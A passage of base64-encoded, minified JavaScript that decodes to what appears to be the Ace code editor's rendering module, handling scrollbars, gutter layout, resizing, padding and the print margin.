xlbWVudCgiZGl2IiksdGhpcy5zY3JvbGxlci5jbGFzc05hbWU9ImFjZV9zY3JvbGxlciIsdGhpcy5jb250YWluZXIuYXBwZW5kQ2hpbGQodGhpcy5zY3JvbGxlciksdGhpcy5jb250ZW50PWkuY3JlYXRlRWxlbWVudCgiZGl2IiksdGhpcy5jb250ZW50LmNsYXNzTmFtZT0iYWNlX2NvbnRlbnQiLHRoaXMuc2Nyb2xsZXIuYXBwZW5kQ2hpbGQodGhpcy5jb250ZW50KSx0aGlzLiRndXR0ZXJMYXllcj1uZXcgbyh0aGlzLiRndXR0ZXIpLHRoaXMuJGd1dHRlckxheWVyLm9uKCJjaGFuZ2VHdXR0ZXJXaWR0aCIsdGhpcy5vbkd1dHRlclJlc2l6ZS5iaW5kKHRoaXMpKSx0aGlzLiRtYXJrZXJCYWNrPW5ldyB1KHRoaXMuY29udGVudCk7dmFyIHI9dGhpcy4kdGV4dExheWVyPW5ldyBhKHRoaXMuY29udGVudCk7dGhpcy5jYW52YXM9ci5lbGVtZW50LHRoaXMuJG1hcmtlckZyb250PW5ldyB1KHRoaXMuY29udGVudCksdGhpcy4kY3Vyc29yTGF5ZXI9bmV3IGYodGhpcy5jb250ZW50KSx0aGlzLiRob3JpelNjcm9sbD0hMSx0aGlzLiR2U2Nyb2xsPSExLHRoaXMuc2Nyb2xsQmFyPXRoaXMuc2Nyb2xsQmFyVj1uZXcgYyh0aGlzLmNvbnRhaW5lcix0aGlzKSx0aGlzLnNjcm9sbEJhckg9bmV3IGwodGhpcy5jb250YWluZXIsdGhpcyksdGhpcy5zY3JvbGxCYXJWLm9uKCJzY3JvbGwiLGZ1bmN0aW9uKGUpe24uJHNjcm9sbEFuaW1hdGlvbnx8bi5zZXNzaW9uLnNldFNjcm9sbFRvcChlLmRhdGEtbi5zY3JvbGxNYXJnaW4udG9wKX0pLHRoaXMuc2Nyb2xsQmFySC5vbigic2Nyb2xsIixmdW5jdGlvbihlKXtuLiRzY3JvbGxBbmltYXRpb258fG4uc2Vzc2lvbi5zZXRTY3JvbGxMZWZ0KGUuZGF0YS1uLnNjcm9sbE1hcmdpbi5sZWZ0KX0pLHRoaXMuc2Nyb2xsVG9wPTAsdGhpcy5zY3JvbGxMZWZ0PTAsdGhpcy5jdXJzb3JQb3M9e3JvdzowLGNvbHVtbjowfSx0aGlzLiRmb250TWV0cmljcz1uZXcgdih0aGlzLmNvbnRhaW5lcix0aGlzLiR0ZXh0TGF5ZXIuTUFYX0NIVU5LX0xFTkdUSCksdGhpcy4kdGV4dExheWVyLiRzZXRGb250TWV0cmljcyh0aGlzLiRmb250TWV0cmljcyksdGhpcy4kdGV4dExheWVyLm9uKCJjaGFuZ2VDaGFyYWN0ZXJTaXplIixmdW5jdGlvbihlKXtuLnVwZGF0ZUNoYXJhY3RlclNpemUoKSxuLm9uUmVzaXplKCEwLG4uZ3V0dGVyV2lkdGgsbi4kc2l6ZS53aWR0aCxuLiRzaXplLmhlaWdodCksbi5fc2lnbmFsKCJjaGFuZ2VDaGFyYWN0ZXJTaXplIixlKX0pLHRoaXMuJHNpemU9e3dpZHRoOjAsaGVpZ2h0OjAsc2Nyb2xsZXJIZWlnaHQ6MCxzY3JvbGxlcldpZHRoOjAsJGRpcnR5OiEwfSx0aGlzLmxheWVyQ29uZmlnPXt3aWR0aDoxLHBhZGRpbmc6MCxmaXJzdFJvdzowLGZpcnN0Um93U2NyZWVuOjAsbGFzdFJvdzowLGxpbmVIZWlnaHQ6MCxjaGFyYWN0ZXJXaWR0aDowLG1pbkhlaWdodDoxLG1heEhlaWdodDoxLG9mZnNldDowLGhlaWdodDoxLGd1dHRlck9mZnNldDoxfSx0aGlzLnNjcm9sbE1hcmdpbj17bGVmdDowLHJpZ2h0OjAsdG9wOjAsYm90dG9tOjAsdjowLGg6MH0sdGhpcy5tYXJnaW49e2xlZnQ6MCxyaWdodDowLHRvcDowLGJvdHRvbTowLHY6MCxoOjB9LHRoaXMuJGtlZXBUZXh0QXJlYUF0Q3Vyc29yPSFiLmlzSU9TLHRoaXMuJGxvb3A9bmV3IGQodGhpcy4kcmVuZGVyQ2hhbmdlcy5iaW5kKHRoaXMpLHRoaXMuY29udGFpbmVyLm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcpLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfRlVMTCksdGhpcy51cGRhdGVDaGFyYWN0ZXJTaXplKCksdGhpcy5zZXRQYWRkaW5nKDQpLHMucmVzZXRPcHRpb25zKHRoaXMpLHMuX3NpZ25hbCgicmVuZGVyZXIiLHRoaXMpfTsoZnVuY3Rpb24oKXt0aGlzLkNIQU5HRV9DVVJTT1I9MSx0aGlzLkNIQU5HRV9NQVJLRVI9Mix0aGlzLkNIQU5HRV9HVVRURVI9NCx0aGlzLkNIQU5HRV9TQ1JPTEw9OCx0aGlzLkNIQU5HRV9MSU5FUz0xNix0aGlzLkNIQU5HRV9URVhUPTMyLHRoaXMuQ0hBTkdFX1NJWkU9NjQsdGhpcy5DSEFOR0VfTUFSS0VSX0JBQ0s9MTI4LHRoaXMuQ0hBTkdFX01BUktFUl9GUk9OVD0yNTYsdGhpcy5DSEFOR0VfRlVMTD01MTIsdGhpcy5DSEFOR0VfSF9TQ1JPTEw9MTAyNCxyLmltcGxlbWVudCh0aGlzLG0pLHRoaXMudXBkYXRlQ2hhcmFjdGVyU2l6ZT1mdW5jdGlvbigpe3RoaXMuJHRleHRMYXllci5hbGxvd0JvbGRGb250cyE9dGhpcy4kYWxsb3dCb2xkRm9udHMmJih0aGlzLiRhbGxvd0JvbGRGb250cz10aGlzLiR0ZXh0TGF5ZXIuYWxsb3dCb2xkRm9udHMsdGhpcy5zZXRTdHlsZSgiYWNlX25vYm9sZCIsIXRoaXMuJGFsbG93Qm9sZEZvbnRzKSksdGhpcy5sYXllckNvbmZpZy5jaGFyYWN0ZXJXaWR0aD10aGlzLmNoYXJhY3RlcldpZHRoPXRoaXMuJHRleHRMYXllci5nZXRDaGFyYWN0ZXJXaWR0aCgpLHRoaXMubGF5ZXJDb25maWcubGluZUhlaWdodD10aGlzLmxpbmVIZWlnaHQ9dGhpcy4kdGV4dExheWVyLmdldExpbmVIZWlnaHQoKSx0aGlzLiR1cGRhdGVQcmludE1hcmdpbigpLGkuc2V0U3R5bGUodGhpcy5zY3JvbGxlci5zdHlsZSwibGluZS1oZWlnaHQiLHRoaXMubGluZUhlaWdodCsicHgiKX0sdGhpcy5zZXRTZXNzaW9uPWZ1bmN0aW9uKGUpe3RoaXMuc2Vzc2lvbiYmdGhpcy5zZXNzaW9uLmRvYy5vZmYoImNoYW5nZU5ld0xpbmVNb2RlIix0aGlzLm9uQ2hhbmdlTmV3TGluZU1vZGUpLHRoaXMuc2Vzc2lvbj1lLGUmJnRoaXMuc2Nyb2xsTWFyZ2luLnRvcCYmZS5nZXRTY3JvbGxUb3AoKTw9MCYmZS5zZXRTY3JvbGxUb3AoLXRoaXMuc2Nyb2xsTWFyZ2luLnRvcCksdGhpcy4kY3Vyc29yTGF5ZXIuc2V0U2Vzc2lvbihlKSx0aGlzLiRtYXJrZXJCYWNrLnNldFNlc3Npb24oZSksdGhpcy4kbWFya2VyRnJvbnQuc2V0U2Vzc2lvbihlKSx0aGlzLiRndXR0ZXJMYXllci5zZXRTZXNzaW9uKGUpLHRoaXMuJHRleHRMYXllci5zZXRTZXNzaW9uKGUpO2lmKCFlKXJldHVybjt0aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX0ZVTEwpLHRoaXMuc2Vzc2lvbi4kc2V0Rm9udE1ldHJpY3ModGhpcy4kZm9udE1ldHJpY3MpLHRoaXMuc2Nyb2xsQmFySC5zY3JvbGxMZWZ0PXRoaXMuc2Nyb2xsQmFyVi5zY3JvbGxUb3A9bnVsbCx0aGlzLm9uQ2hhbmdlTmV3TGluZU1vZGU9dGhpcy5vbkNoYW5nZU5ld0xpbmVNb2RlLmJpbmQodGhpcyksdGhpcy5vbkNoYW5nZU5ld0xpbmVNb2RlKCksdGhpcy5zZXNzaW9uLmRvYy5vbigiY2hhbmdlTmV3TGluZU1vZGUiLHRoaXMub25DaGFuZ2VOZXdMaW5lTW9kZSl9LHRoaXMudXBkYXRlTGluZXM9ZnVuY3Rpb24oZSx0LG4pe3Q9PT11bmRlZmluZWQmJih0PUluZmluaXR5KSx0aGlzLiRjaGFuZ2VkTGluZXM/KHRoaXMuJGNoYW5nZWRMaW5lcy5maXJzdFJvdz5lJiYodGhpcy4kY2hhbmdlZExpbmVzLmZpcnN0Um93PWUpLHRoaXMuJGNoYW5nZWRMaW5lcy5sYXN0Um93PHQmJih0aGlzLiRjaGFuZ2VkTGluZXMubGFzdFJvdz10KSk6dGhpcy4kY2hhbmdlZExpbmVzPXtmaXJzdFJvdzplLGxhc3RSb3c6dH07aWYodGhpcy4kY2hhbmdlZExpbmVzLmxhc3RSb3c8dGhpcy5sYXllckNvbmZpZy5maXJzdFJvdyl7aWYoIW4pcmV0dXJuO3RoaXMuJGNoYW5nZWRMaW5lcy5sYXN0Um93PXRoaXMubGF5ZXJDb25maWcubGFzdFJvd31pZih0aGlzLiRjaGFuZ2VkTGluZXMuZmlyc3RSb3c+dGhpcy5sYXllckNvbmZpZy5sYXN0Um93KXJldHVybjt0aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX0xJTkVTKX0sdGhpcy5vbkNoYW5nZU5ld0xpbmVNb2RlPWZ1bmN0aW9uKCl7dGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9URVhUKSx0aGlzLiR0ZXh0TGF5ZXIuJHVwZGF0ZUVvbENoYXIoKSx0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLnNldEVvbENoYXIodGhpcy4kdGV4dExheWVyLkVPTF9DSEFSKX0sdGhpcy5vbkNoYW5nZVRhYlNpemU9ZnVuY3Rpb24oKXt0aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX1RFWFR8dGhpcy5DSEFOR0VfTUFSS0VSKSx0aGlzLiR0ZXh0TGF5ZXIub25DaGFuZ2VUYWJTaXplKCl9LHRoaXMudXBkYXRlVGV4dD1mdW5jdGlvbigpe3RoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfVEVYVCl9LHRoaXMudXBkYXRlRnVsbD1mdW5jdGlvbihlKXtlP3RoaXMuJHJlbmRlckNoYW5nZXModGhpcy5DSEFOR0VfRlVMTCwhMCk6dGhpcy4kbG9vcC5zY2hlZHVsZSh0aGlzLkNIQU5HRV9GVUxMKX0sdGhpcy51cGRhdGVGb250U2l6ZT1mdW5jdGlvbigpe3RoaXMuJHRleHRMYXllci5jaGVja0ZvclNpemVDaGFuZ2VzKCl9LHRoaXMuJGNoYW5nZXM9MCx0aGlzLiR1cGRhdGVTaXplQXN5bmM9ZnVuY3Rpb24oKXt0aGlzLiRsb29wLnBlbmRpbmc/dGhpcy4kc2l6ZS4kZGlydHk9ITA6dGhpcy5vblJlc2l6ZSgpfSx0aGlzLm9uUmVzaXplPWZ1bmN0aW9uKGUsdCxuLHIpe2lmKHRoaXMucmVzaXppbmc+MilyZXR1cm47dGhpcy5yZXNpemluZz4wP3RoaXMucmVzaXppbmcrKzp0aGlzLnJlc2l6aW5nPWU/MTowO3ZhciBpPXRoaXMuY29udGFpbmVyO3J8fChyPWkuY2xpZW50SGVpZ2h0fHxpLnNjcm9sbEhlaWdodCksbnx8KG49aS5jbGllbnRXaWR0aHx8aS5zY3JvbGxXaWR0aCk7dmFyIHM9dGhpcy4kdXBkYXRlQ2FjaGVkU2l6ZShlLHQsbixyKTtpZighdGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodHx8IW4mJiFyKXJldHVybiB0aGlzLnJlc2l6aW5nPTA7ZSYmKHRoaXMuJGd1dHRlckxheWVyLiRwYWRkaW5nPW51bGwpLGU/dGhpcy4kcmVuZGVyQ2hhbmdlcyhzfHRoaXMuJGNoYW5nZXMsITApOnRoaXMuJGxvb3Auc2NoZWR1bGUoc3x0aGlzLiRjaGFuZ2VzKSx0aGlzLnJlc2l6aW5nJiYodGhpcy5yZXNpemluZz0wKSx0aGlzLnNjcm9sbEJhckguc2Nyb2xsTGVmdD10aGlzLnNjcm9sbEJhclYuc2Nyb2xsVG9wPW51bGwsdGhpcy4kY3VzdG9tU2Nyb2xsYmFyJiZ0aGlzLiR1cGRhdGVDdXN0b21TY3JvbGxiYXIoITApfSx0aGlzLiR1cGRhdGVDYWNoZWRTaXplPWZ1bmN0aW9uKGUsdCxuLHIpe3ItPXRoaXMuJGV4dHJhSGVpZ2h0fHwwO3ZhciBzPTAsbz10aGlzLiRzaXplLHU9e3dpZHRoOm8ud2lkdGgsaGVpZ2h0Om8uaGVpZ2h0LHNjcm9sbGVySGVpZ2h0Om8uc2Nyb2xsZXJIZWlnaHQsc2Nyb2xsZXJXaWR0aDpvLnNjcm9sbGVyV2lkdGh9O3ImJihlfHxvLmhlaWdodCE9cikmJihvLmhlaWdodD1yLHN8PXRoaXMuQ0hBTkdFX1NJWkUsby5zY3JvbGxlckhlaWdodD1vLmhlaWdodCx0aGlzLiRob3JpelNjcm9sbCYmKG8uc2Nyb2xsZXJIZWlnaHQtPXRoaXMuc2Nyb2xsQmFySC5nZXRIZWlnaHQoKSksdGhpcy5zY3JvbGxCYXJWLnNldEhlaWdodChvLnNjcm9sbGVySGVpZ2h0KSx0aGlzLnNjcm9sbEJhclYuZWxlbWVudC5zdHlsZS5ib3R0b209dGhpcy5zY3JvbGxCYXJILmdldEhlaWdodCgpKyJweCIsc3w9dGhpcy5DSEFOR0VfU0NST0xMKTtpZihuJiYoZXx8by53aWR0aCE9bikpe3N8PXRoaXMuQ0hBTkdFX1NJWkUsby53aWR0aD1uLHQ9PW51bGwmJih0PXRoaXMuJHNob3dHdXR0ZXI/dGhpcy4kZ3V0dGVyLm9mZnNldFdpZHRoOjApLHRoaXMuZ3V0dGVyV2lkdGg9dCxpLnNldFN0eWxlKHRoaXMuc2Nyb2xsQmFySC5lbGVtZW50LnN0eWxlLCJsZWZ0Iix0KyJweCIpLGkuc2V0U3R5bGUodGhpcy5zY3JvbGxlci5zdHlsZSwibGVmdCIsdCt0aGlzLm1hcmdpbi5sZWZ0KyJweCIpLG8uc2Nyb2xsZXJXaWR0aD1NYXRoLm1heCgwLG4tdC10aGlzLnNjcm9sbEJhclYuZ2V0V2lkdGgoKS10aGlzLm1hcmdpbi5oKSxpLnNldFN0eWxlKHRoaXMuJGd1dHRlci5zdHlsZSwibGVmdCIsdGhpcy5tYXJnaW4ubGVmdCsicHgiKTt2YXIgYT10aGlzLnNjcm9sbEJhclYuZ2V0V2lkdGgoKSsicHgiO2kuc2V0U3R5bGUodGhpcy5zY3JvbGxCYXJILmVsZW1lbnQuc3R5bGUsInJpZ2h0IixhKSxpLnNldFN0eWxlKHRoaXMuc2Nyb2xsZXIuc3R5bGUsInJpZ2h0IixhKSxpLnNldFN0eWxlKHRoaXMuc2Nyb2xsZXIuc3R5bGUsImJvdHRvbSIsdGhpcy5zY3JvbGxCYXJILmdldEhlaWdodCgpKSx0aGlzLnNjcm9sbEJhckguc2V0V2lkdGgoby5zY3JvbGxlcldpZHRoKTtpZih0aGlzLnNlc3Npb24mJnRoaXMuc2Vzc2lvbi5nZXRVc2VXcmFwTW9kZSgpJiZ0aGlzLmFkanVzdFdyYXBMaW1pdCgpfHxlKXN8PXRoaXMuQ0hBTkdFX0ZVTEx9cmV0dXJuIG8uJGRpcnR5PSFufHwhcixzJiZ0aGlzLl9zaWduYWwoInJlc2l6ZSIsdSksc30sdGhpcy5vbkd1dHRlclJlc2l6ZT1mdW5jdGlvbihlKXt2YXIgdD10aGlzLiRzaG93R3V0dGVyP2U6MDt0IT10aGlzLmd1dHRlcldpZHRoJiYodGhpcy4kY2hhbmdlc3w9dGhpcy4kdXBkYXRlQ2FjaGVkU2l6ZSghMCx0LHRoaXMuJHNpemUud2lkdGgsdGhpcy4kc2l6ZS5oZWlnaHQpKSx0aGlzLnNlc3Npb24uZ2V0VXNlV3JhcE1vZGUoKSYmdGhpcy5hZGp1c3RXcmFwTGltaXQoKT90aGlzLiRsb29wLnNjaGVkdWxlKHRoaXMuQ0hBTkdFX0ZVTEwpOnRoaXMuJHNpemUuJGRpcnR5P3RoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfRlVMTCk6dGhpcy4kY29tcHV0ZUxheWVyQ29uZmlnKCl9LHRoaXMuYWRqdXN0V3JhcExpbWl0PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy4kc2l6ZS5zY3JvbGxlcldpZHRoLXRoaXMuJHBhZGRpbmcqMix0PU1hdGguZmxvb3IoZS90aGlzLmNoYXJhY3RlcldpZHRoKTtyZXR1cm4gdGhpcy5zZXNzaW9uLmFkanVzdFdyYXBMaW1pdCh0LHRoaXMuJHNob3dQcmludE1hcmdpbiYmdGhpcy4kcHJpbnRNYXJnaW5Db2x1bW4pfSx0aGlzLnNldEFuaW1hdGVkU2Nyb2xsPWZ1bmN0aW9uKGUpe3RoaXMuc2V0T3B0aW9uKCJhbmltYXRlZFNjcm9sbCIsZSl9LHRoaXMuZ2V0QW5pbWF0ZWRTY3JvbGw9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kYW5pbWF0ZWRTY3JvbGx9LHRoaXMuc2V0U2hvd0ludmlzaWJsZXM9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInNob3dJbnZpc2libGVzIixlKSx0aGlzLnNlc3Npb24uJGJpZGlIYW5kbGVyLnNldFNob3dJbnZpc2libGVzKGUpfSx0aGlzLmdldFNob3dJbnZpc2libGVzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJzaG93SW52aXNpYmxlcyIpfSx0aGlzLmdldERpc3BsYXlJbmRlbnRHdWlkZXM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oImRpc3BsYXlJbmRlbnRHdWlkZXMiKX0sdGhpcy5zZXREaXNwbGF5SW5kZW50R3VpZGVzPWZ1bmN0aW9uKGUpe3RoaXMuc2V0T3B0aW9uKCJkaXNwbGF5SW5kZW50R3VpZGVzIixlKX0sdGhpcy5nZXRIaWdobGlnaHRJbmRlbnRHdWlkZXM9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oImhpZ2hsaWdodEluZGVudEd1aWRlcyIpfSx0aGlzLnNldEhpZ2hsaWdodEluZGVudEd1aWRlcz1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiaGlnaGxpZ2h0SW5kZW50R3VpZGVzIixlKX0sdGhpcy5zZXRTaG93UHJpbnRNYXJnaW49ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInNob3dQcmludE1hcmdpbiIsZSl9LHRoaXMuZ2V0U2hvd1ByaW50TWFyZ2luPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJzaG93UHJpbnRNYXJnaW4iKX0sdGhpcy5zZXRQcmludE1hcmdpbkNvbHVtbj1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigicHJpbnRNYXJnaW5Db2x1bW4iLGUpfSx0aGlzLmdldFByaW50TWFyZ2luQ29sdW1uPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJwcmludE1hcmdpbkNvbHVtbiIpfSx0aGlzLmdldFNob3dHdXR0ZXI9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5nZXRPcHRpb24oInNob3dHdXR0ZXIiKX0sdGhpcy5zZXRTaG93R3V0dGVyPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnNldE9wdGlvbigic2hvd0d1dHRlciIsZSl9LHRoaXMuZ2V0RmFkZUZvbGRXaWRnZXRzPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZ2V0T3B0aW9uKCJmYWRlRm9sZFdpZGdldHMiKX0sdGhpcy5zZXRGYWRlRm9sZFdpZGdldHM9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oImZhZGVGb2xkV2lkZ2V0cyIsZSl9LHRoaXMuc2V0SGlnaGxpZ2h0R3V0dGVyTGluZT1mdW5jdGlvbihlKXt0aGlzLnNldE9wdGlvbigiaGlnaGxpZ2h0R3V0dGVyTGluZSIsZSl9LHRoaXMuZ2V0SGlnaGxpZ2h0R3V0dGVyTGluZT1mdW5jdGlvbigpe3JldHVybiB0aGlzLmdldE9wdGlvbigiaGlnaGxpZ2h0R3V0dGVyTGluZSIpfSx0aGlzLiR1cGRhdGVQcmludE1hcmdpbj1mdW5jdGlvbigpe2lmKCF0aGlzLiRzaG93UHJpbnRNYXJnaW4mJiF0aGlzLiRwcmludE1hcmdpbkVsKXJldHVybjtpZighdGhpcy4kcHJpbnRNYXJnaW5FbCl7dmFyIGU9aS5jcmVhdGVFbGVtZW50KCJkaXYiKTtlLmNsYXNzTmFtZT0iYWNlX2xheWVyIGFjZV9wcmludC1tYXJnaW4tbGF5ZXIiLHRoaXMuJHByaW50TWFyZ2luRWw9aS5jcmVhdGVFbGVtZW50KCJkaXYiKSx0aGlzLiRwcmludE1hcmdpbkVsLmNsYXNzTmFtZT0iYWNlX3ByaW50LW1hcmdpbiIsZS5hcHBlbmRDaGlsZCh0aGlzLiRwcmludE1hcmdpbkVsKSx0aGlzLmNvbnRlbnQuaW5zZXJ0QmVmb3JlKGUsdGhpcy5jb250ZW50LmZpcnN0Q2hpbGQpfXZhciB0PXRoaXMuJHByaW50TWFyZ2luRWwuc3R5bGU7dC5sZWZ0PU1hdGgucm91bmQodGhpcy5jaGFyYWN0ZXJXaWR0aCp0aGlzLiRwcmludE1hcmdpbkNvbHVtbit0aGlzLiRwYWRkaW5nKSsicHgiLHQudmlzaWJpbGl0eT10aGlzLiRzaG93UHJpbnRNYXJnaW4/InZpc2libGUiOiJoaWRkZW4iLHRoaXMuc2Vzc2lvbiYmdGhpcy5zZXNzaW9uLiR3cmFwPT0tMSYmdGhpcy5hZGp1c3RXcmFwTGltaXQoKX0sdGhpcy5nZXRDb250YWluZXJFbGVtZW50PWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuY29udGFpbmVyfSx0aGlzLmdldE1vdXNlRXZlbnRUYXJnZXQ9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5zY3JvbGxlcn0sdGhpcy5nZXRUZXh0QXJlYUNvbnRhaW5lcj1mdW5jdGlvbigpe3JldHVybiB0aGlzLmNvbnRhaW5lcn0sdGhpcy4kbW92ZVRleHRBcmVhVG9DdXJzb3I9ZnVuY3Rpb24oKXtpZih0aGlzLiRpc01vdXNlUHJlc3NlZClyZXR1cm47dmFyIGU9dGhpcy50ZXh0YXJlYS5zdHlsZSx0PXRoaXMuJGNvbXBvc2l0aW9uO2lmKCF0aGlzLiRrZWVwVGV4dEFyZWFBdEN1cnNvciYmIXQpe2kudHJhbnNsYXRlKHRoaXMudGV4dGFyZWEsLTEwMCwwKTtyZXR1cm59dmFyIG49dGhpcy4kY3Vyc29yTGF5ZXIuJHBpeGVsUG9zO2lmKCFuKXJldHVybjt0JiZ0Lm1hcmtlclJhbmdlJiYobj10aGlzLiRjdXJzb3JMYXllci5nZXRQaXhlbFBvc2l0aW9uKHQubWFya2VyUmFuZ2Uuc3RhcnQsITApKTt2YXIgcj10aGlzLmxheWVyQ29uZmlnLHM9bi50b3Asbz1uLmxlZnQ7cy09ci5vZmZzZXQ7dmFyIHU9dCYmdC51c2VUZXh0YXJlYUZvcklNRT90aGlzLmxpbmVIZWlnaHQ6dz8wOjE7aWYoczwwfHxzPnIuaGVpZ2h0LXUpe2kudHJhbnNsYXRlKHRoaXMudGV4dGFyZWEsMCwwKTtyZXR1cm59dmFyIGE9MSxmPXRoaXMuJHNpemUuaGVpZ2h0LXU7aWYoIXQpcys9dGhpcy5saW5lSGVpZ2h0O2Vsc2UgaWYodC51c2VUZXh0YXJlYUZvcklNRSl7dmFyIGw9dGhpcy50ZXh0YXJlYS52YWx1ZTthPXRoaXMuY2hhcmFjdGVyV2lkdGgqdGhpcy5zZXNzaW9uLiRnZXRTdHJpbmdTY3JlZW5XaWR0aChsKVswXX1lbHNlIHMrPXRoaXMubGluZUhlaWdodCsyO28tPXRoaXMuc2Nyb2xsTGVmdCxvPnRoaXMuJHNpemUuc2Nyb2xsZXJXaWR0aC1hJiYobz10aGlzLiRzaXplLnNjcm9sbGVyV2lkdGgtYSksbys9dGhpcy5ndXR0ZXJXaWR0aCt0aGlzLm1hcmdpbi5sZWZ0LGkuc2V0U3R5bGUoZSwiaGVpZ2h0Iix1KyJweCIpLGkuc2V0U3R5bGUoZSwid2lkdGgiLGErInB4IiksaS50cmFuc2xhdGUodGhpcy50ZXh0YXJlYSxNYXRoLm1pbihvLHRoaXMuJHNpemUuc2Nyb2xsZXJXaWR0aC1hKSxNYXRoLm1pbihzLGYpKX0sdGhpcy5nZXRGaXJzdFZpc2libGVSb3c9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sYXllckNvbmZpZy5maXJzdFJvd30sdGhpcy5nZXRGaXJzdEZ1bGx5VmlzaWJsZVJvdz1mdW5jdGlvbigpe3JldHVybiB0aGlzLmxheWVyQ29uZmlnLmZpcnN0Um93Kyh0aGlzLmxheWVyQ29uZmlnLm9mZnNldD09PTA/MDoxKX0sdGhpcy5nZXRMYXN0RnVsbHlWaXNpYmxlUm93PWZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5sYXllckNvbmZpZyx0PWUubGFzdFJvdyxuPXRoaXMuc2Vzc2lvbi5kb2N1bWVudFRvU2NyZWVuUm93KHQsMCkqZS5saW5lSGVpZ2h0O3JldHVybiBuLXRoaXMuc2Vzc2lvbi5nZXRTY3JvbGxUb3AoKT5lLmhlaWdodC1lLmxpbmVIZWlnaHQ/dC0xOnR9LHRoaXMuZ2V0TGFzdFZpc2libGVSb3c9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5sYXllckNvbmZpZy5sYXN0Um93fSx0aGlzLiRwYWRkaW5nPW51bGwsdGhpcy5zZXRQYWRkaW5nPWZ1bmN0aW9uKGUpe3RoaXMuJHBhZGRpbmc9ZSx0aGlzLiR0ZXh0TGF5ZXIuc2V0UGFkZGluZyhlKSx0aGlzLiRjdXJzb3JMYXllci5zZXRQYWRkaW5nKGUpLHRoaXMuJG1hcmtlckZyb250LnNldFBhZGRpbmcoZSksdGhpcy4kbWFya2VyQmFjay5zZXRQYWRkaW5nKGUpLHRoaXMuJGxvb3Auc2NoZWR1bGUodGhpcy5DSEFOR0VfRlVMTCksdGhpcy4kdXBkYXRlUHJpbnRNYXJnaW4oKX0sdGhpcy5zZXRTY3JvbGxNYXJnaW49ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9dGhpcy5zY3JvbGxNYXJnaW47aS50b3A9ZXwwLGkuYm90dG9tPXR8MCxpLnJpZ2h0PXJ8MCxpLmxlZnQ9bnwwLGkudj1pLnRvcCtpLmJvdHRvbSxpLmg9aS5sZWZ0K2kucmlnaHQsaS50b3AmJnRoaXMuc2Nyb2xsVG9wPD0wJiZ0aGlzLnNlc3Npb24mJnRoaXMuc2Vzc2lvbi5zZXRTY3JvbGxUb3AoLWkudG9wKSx0aGlzLnVwZGF0ZUZ1bGwoKX0sdGhpcy5zZXRNYXJnaW49ZnVuY3Rpb24oZSx0LG4scil7dmFyIGk9dGhpcy5tYXJnaW47aS50b3A9ZXwwLGkuYm90dG9tPXR8MCxpLnJpZ2h0PXJ8MCxpLmxlZnQ9bnwwLGkudj1pLnRvcCtpLmJvdHRvbSxpLmg9aS5sZWZ0K2kucmlnaHQsdGhpcy4kdXBkYXRlQ2FjaGVkU2l6ZSghMCx0aGlzLmd1dHRlcldpZHRoLHRoaXMuJHNpemUud2lkdGgsdGhpcy4kc2l6ZS5oZWlnaHQpLHRoaXMudXBkYXRlRnVsbCgpfSx0aGlzLmdldEhTY3JvbGxCYXJBbHdheXNWaXNpYmxlPWZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuJGhTY3JvbGxCYXJBbHdheXNWaXNpYmxlfSx0aGlzLnNldEhTY3JvbGxCYXJBbHdheXNWaXNpYmxlPWZ1bmN0aW9uKGUpe3RoaXMuc2V0T3B0aW9uKCJoU2Nyb2xsQmFyQWx3YXlzVmlzaWJsZSIsZSl9LHRoaXMuZ2V0VlNjcm9sbEJhckFsd2F5c1Zpc2libGU9ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy4kdlNjcm9sbEJhckFsd2F5c1Zpc2libGV9LHRoaXMuc2V0VlNjcm9sbEJhckFsd2F5c1Zpc2libGU9ZnVuY3Rpb24oZSl7dGhpcy5zZXRPcHRpb24oInZTY3JvbGxCYXJBbHdheXNWaXNpYmxlIixlKX0sdGhpcy4kdXBkYXRlU2Nyb2xsQmFyVj1mdW5jdGlvbigpe3ZhciBlPXRoaXMubGF5ZXJDb25maWcubWF4SGVpZ2h0LHQ9dGhpcy4kc2l6ZS5zY3JvbGxlckhlaWdodDshdGhpcy4kbWF4TGluZXMmJnRoaXMuJHNjcm9sbFBhc3RFbmQmJihlLT0odC10aGlzLmxpbmVIZWlnaHQpKnRoaXMuJHNjcm9sbFBhc3RFbmQsdGhpcy5zY3JvbGxUb3A+ZS10JiYoZT10aGlzLnNjcm9sbFRvcCt0LHRoaXMuc2Nyb2xsQmFyVi5zY3JvbGxUb3A9bnVsbCkpLHRoaXMuc2Nyb2xsQmFyV